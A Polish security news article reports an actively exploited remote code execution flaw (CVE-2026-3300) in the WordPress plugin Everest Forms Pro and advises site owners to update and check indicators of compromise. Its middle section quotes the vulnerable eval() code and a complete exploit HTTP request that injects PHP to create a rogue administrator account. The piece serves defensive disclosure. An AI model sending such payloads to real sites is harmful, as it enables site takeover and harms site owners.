Wystartowała Akademia NIS2/KSC2! Można jeszcze dołączyć do końca lipca!

Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Bezpłatne szkolenie: AI dla admina. Top 5 zadań, które zrobisz szybciej

Krytyczna podatność RCE we wtyczce Everest Forms Pro (WordPress)

17 lipca 2026, 12:00 | W biegu | 0 komentarzy

Badacze bezpieczeństwa z Wordfence ujawnili krytyczną podatność Remote Code Execution we wtyczce Everest Forms Pro przeznaczonej dla WordPressa. Luka ma być wciąż wykorzystywana do ataków na strony korzystające z tego rozszerzenia. Podatność dotyczy wszystkich wersji przed 1.9.13 i otrzymała ocenę 9.8 (krytyczna) w skali CVSS.

TLDR:

  • Krytyczna podatność RCE (CVSS 9.8) we wtyczce Everest Forms Pro (WordPress) umożliwia nieuwierzytelnione wykonanie dowolnego kodu PHP na serwerze. Wystarczy, że strona korzysta z funkcji “Complex Calculation”.
  • Luka dotyczy wersji starszych niż 1.9.13 i ma być wykorzystywana przez atakujących.
  • Problem wynika z niebezpiecznego użycia funkcji eval() oraz niewystarczającego filtrowania danych wejściowych.
  • Najczęściej obserwowany payload tworzy konto administratora o nazwie “diksimarina”.
  • Firewall Wordfence zablokował blisko 30 tys. prób wykorzystania podatności.

Podatność (CVE-2026-3300) pozwala nieuwierzytelnionemu atakującemu na wykonywanie dowolnego kodu PHP na serwerze, co prowadzi do całkowitego przejęcia hosta. Aby możliwe było przeprowadzenie ataku, strona musi wykorzystywać funkcję “Complex Calculation”. Producent wydał aktualizację łatającą tę lukę już pod koniec marca 2026, jednak jest ona wciąż wykorzystywana. Firewall Wordfence zablokował już prawie 30 tysięcy prób ataków, korzystających właśnie z tej podatności.

Wtyczka używa funkcji process_filter() w klasie EverestForms\Pro\Addons\Calculation\Process\Process do obliczania formuł zdefiniowanych przez użytkownika. Funkcja ta łączy wartości z pól formularza (przesłane przez użytkownika) z kodem PHP, który następnie jest przekazywany do funkcji eval(), przy użyciu następującego fragmentu kodu:

   $final_field_variables                    = implode( “;\n”, $field_variable );
    $return_var                               = Transpiler::RESULT_VAR_NAME;
    ${Transpiler::FUNCTIONS_ARRAY_NAME}       = $this->functions;
    ${Transpiler::INNER_FUNCTIONS_ARRAY_NAME} = $this->inner_functions;
 
    $php_code = preg_replace( ‘/\<\?php/’, “$final_field_variables; $” . ‘_RETURN = 0;’, $php_code . ‘return $’ . $return_var . ‘;’ );
    try {
        $total          = eval( $php_code );

Listing 1 – kod przekazujący pola formularza do eval(), źródło: wordfence.com

Chociaż dane wejściowe są filtrowane za pomocą funkcji sanitize_text_field(), pomija ona pojedyncze apostrofy. W przypadku pól bazujących na ciągach znaków (string), takich jak text czy email, przesłana przez użytkownika wartość jest umieszczana wewnątrz pojedynczych apostrofów i bezpośrednio dodawana do ciągu kodu PHP.

Nieuwierzytelniony atakujący może to wykorzystać, wysyłając payload zawierający apostrof, po którym umieści złośliwy kod PHP oraz znak komentarza. Pozwala mu to “opuścić” string i wstrzyknąć kod PHP, który zostanie później wykonany przez funkcję eval(). W efekcie ma on możliwość wykonania dowolnego kodu PHP na serwerze, na którym działa atakowana strona.

Najczęściej obserwowany payload w zidentyfikowanych przez badaczy żądaniach próbuje utworzyć nowe konto administratora (diksimarina) dla atakowanej witryny:

POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
 
everest_forms[id]=2909&everest_forms[form_fields][svbtwqPN9R-2]=’;if(!username_exists(‘diksimarina’)){wp_insert_user(array(‘user_login’=>’diksimarina’,’user_pass’=>'[redacted]’,’user_email’=>’diksimarina@gmail.com’,’role’=>’administrator’));echo ‘ADMINCREATED’;}else{echo ‘ADMINEXISTS’;} //&everest_forms[form_fields][eluWudCcdM-1]=test&everest_forms[form_fields][email]=test&everest_forms[form_fields][rVuWSql19Q-3]=test&everest_forms[form_fields][rwkAbDLqrq-7]=test&everest_forms[form_fields][LKLn7arQDU-5]=test&action=everest_forms_ajax_form_submission&security=cd840335ff

Listing 2 – przykładowe żądanie wykorzystujące podatność, źródło: wordfence.com

W tym przypadku atakujący przesyła wartość dla pola text rozpoczynającą się od pojedynczego apostrofu zamykającego string, a po nim kod PHP wywołujący funkcję wp_insert_user() w celu utworzenia nowego konta administratora. Umieszczony na końcu znak komentarza (//) sprawia, że pozostała część kodu nie zostanie wykonana przez interpretator PHP – dzięki temu dodany apostrof nie spowoduje błędu składni.

Właścicielom stron korzystających z tej wtyczki polecamy zaktualizować ją do najnowszej dostępnej wersji i sprawdzić użytkowników swojej strony oraz logi pod kątem danych z IoC wymienionych na końcu tekstu.

Wtyczki w WordPress są jak rozszerzenia do przeglądarek. Lepiej mieć tylko te, których koniecznie potrzebujemy i regularnie je aktualizować. Niestety im więcej dodatków, tym więcej potencjalnych “słabych punktów” naszej strony. Pod kątem tego typu podatności warto rozważyć włączenie automatycznych aktualizacji w WordPress – choć wiemy, że ekosystemy wtyczek padają czasem ofiarą ataków na łańcuch dostaw.

IoC

Tworzone przez atakujących konto:

  • nazwa użytkownika: diksimarina
  • adres e-mail diksimarina@gmail.com

Adresy IP wykorzystywane przez atakujących:

  • 202[.]56[.]2[.]126
  • 209[.]146[.]60[.]26
  • 15[.]235[.]166[.]18
  • 2402[:]1f00[:]8000[:]800[::]40db
  • 185[.]78[.]165[.]153

Podatne wersje wtyczki: wszystkie poniżej 1.9.13.

Źródło: wordfence.com

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz